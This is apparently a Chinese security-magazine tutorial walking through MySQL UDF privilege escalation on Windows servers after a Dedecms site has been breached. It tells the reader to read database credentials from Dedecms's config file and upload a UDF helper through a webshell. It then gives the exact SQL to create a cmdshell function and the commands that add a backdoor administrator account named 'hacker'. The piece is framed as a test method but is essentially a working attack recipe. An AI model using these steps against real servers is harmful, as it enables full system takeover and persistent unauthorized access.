黑客营(36):实战UDF提权
安全阵线
漏洞出处:Dedecms
漏洞危害:获得服务器管理员权限
前不久,著名CMS系统Dedecms的漏洞曝光,一时间数以万计由Dedecms系统搭建的网站被黑客入侵。但Dedecms是基于MySQL数据库搭建的,黑客入侵网站后很难有什么作为,怎么办?其实通过UDF提权,黑客就可以拿到服务器的管理员权限。
UDF提权需要具备两个条件:1.目标系统必须是Windows;2.已经拥有MySQL的一个账号,此账号必须有insert和delete权限。测试方法如下:
Step1:查看data文件夹下的common.inc.php文件,该文件是Dedecms的数据库配置文件,其中包含了MySQL数据库的账号、密码以及数据库名等信息(图1)。

Step2:通过webshell将udf.php上传到网站目录中,通过浏览器访问udf.php,在“host”、“MySQL账号”、“密码”、“数据库名”中分别填入从common.inc.php中得到的信息,点击“提交”按钮即可成功连接MySQL数据库。
在“DLL导出路径”中输入udf.dll导出后的绝对路径,例如C:\Inetpub\wwwroot\udf.dll,再点击“导出到此目录”按钮。如果网站的MySQL数据库版本为5.0以上,则需要导出到系统目录,例如C:\windows\udf.dll。
Step3:在“SQL命令”处输入Create Function cmdshell returns string soname 'C:\Inetpub\wwwroot\udf.dll',如果MySQL数据库的版本为5.0以上,则输入Create Function cmdshell returns string soname 'udf.dll',点击“执行”按钮,在下方的“回显结果”中会显示“执行成功”。这样黑客就拥有了系统的System权限。
在“SQL命令”处输入 select cmdshell('net user'),回车后即可看到当前系统中的账号,然后输入:select cmdshell('net user hacker /add'),创建一个用户名为hacker的账号,接着再输入select cmdshell('net localgroup administrators hacker /add'),将用户提升为服务器管理员(图2)。
